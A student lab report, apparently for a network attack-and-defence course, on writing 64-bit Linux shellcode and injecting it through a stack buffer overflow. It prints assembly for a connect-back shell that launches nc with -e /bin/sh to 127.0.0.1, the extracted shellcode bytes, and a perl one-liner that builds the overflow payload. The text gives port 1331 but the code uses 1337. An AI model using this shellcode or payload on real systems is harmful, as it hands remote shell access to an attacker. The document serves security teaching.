2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp1+ 逆向进阶
实验环境
- 1、关闭堆栈保护
- 2、关闭堆栈执行保护
- 3、关闭地址随机化
- 4、在Linux实践环境
实验任务
- Task1 (5-10分)
- 自己编写一个64位shellcode。参考shellcode指导。
- 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。
实验过程
3.1 实验源码
-
访问Exploit Database,浏览寻找Shellcode
寻找符合题意的64位的shellcode,我找到了hellcode linux/x86-64 connect back shell
-
功能说明
反弹式连接shell的shellcode
3.2编写 .nasm文件
more pro1.asm
; { Title: Shellcode linux/x86-64 connect back shell }
; Author : Gaussillusion
; Len : 109 bytes
; Language : Nasm
;syscall: execve("/bin/nc",{"/bin/nc","ip","1337","-e","/bin/sh"},NULL)
BITS 64
xor rdx,rdx
mov rdi,0x636e2f6e69622fff
shr rdi,0x08
push rdi
mov rdi,rsp
mov rcx,0x68732f6e69622fff
shr rcx,0x08
push rcx
mov rcx,rsp
mov rbx,0x652dffffffffffff
shr rbx,0x30
push rbx
mov rbx,rsp
mov r10,0x37333331ffffffff
shr r10,0x20
push r10
mov r10,rsp
jmp short ip
continue:
pop r9
push rdx ;push NULL
push rcx ;push address of 'bin/sh'
push rbx ;push address of '-e'
push r10 ;push address of '1337'
push r9 ;push address of 'ip'
push rdi ;push address of '/bin/nc'
mov rsi,rsp
mov al,59
syscall
ip:
call continue
db "127.0.0.1"
可以很清楚的看到ip地址127.0.0.1,端口1331
3.3 汇编
nasm -felf64 pro1.asm -o pro1.o
3.4 链接
ld pro1.o -p pro1
报错如下:
这是因为ld在将所有目标文件链接起来时,不知道程序的入口点在哪里。解决:给汇编文件添加 _start部分
global _start
section .text
_start:
3.5测试汇编代码
3.6提取shellcode
\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x48\xc1\xef
\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48
\xc1\xe9\x08\x51\x48\x89\xe1\x48\xbb\xff\xff\xff\xff\xff\xff\x2d
\x65\x48\xc1\xeb\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31
\x33\x33\x37\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\xeb\x11\x41\x59
\x52\x51\x53\x41\x52\x41\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8
\xea\xff\xff\xff\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31
-
方法一:反汇编摘出有用部分
-
方法二:xxd指令,找到代码段,复制出来
3.7 将提取出来的Shellcode做测试
3.8准备一个64位的可执行文件
3.9构造要注入的payload
-
反汇编
objdump -d main | more
查看文件 -
注意实验环境
- 关闭堆栈保护
- 关闭地址随机化
-
payload如下
perl -e 'print "A" x 64;print "\x4\x3\x2\x1\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51\x48\x89\xe1\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1\xeb\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33\x33\x37\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\xeb\x11\x41\x59\x52\x51\x53\x41\x52\x41\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xea\xff\xff\xff\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31"' > input_shellcode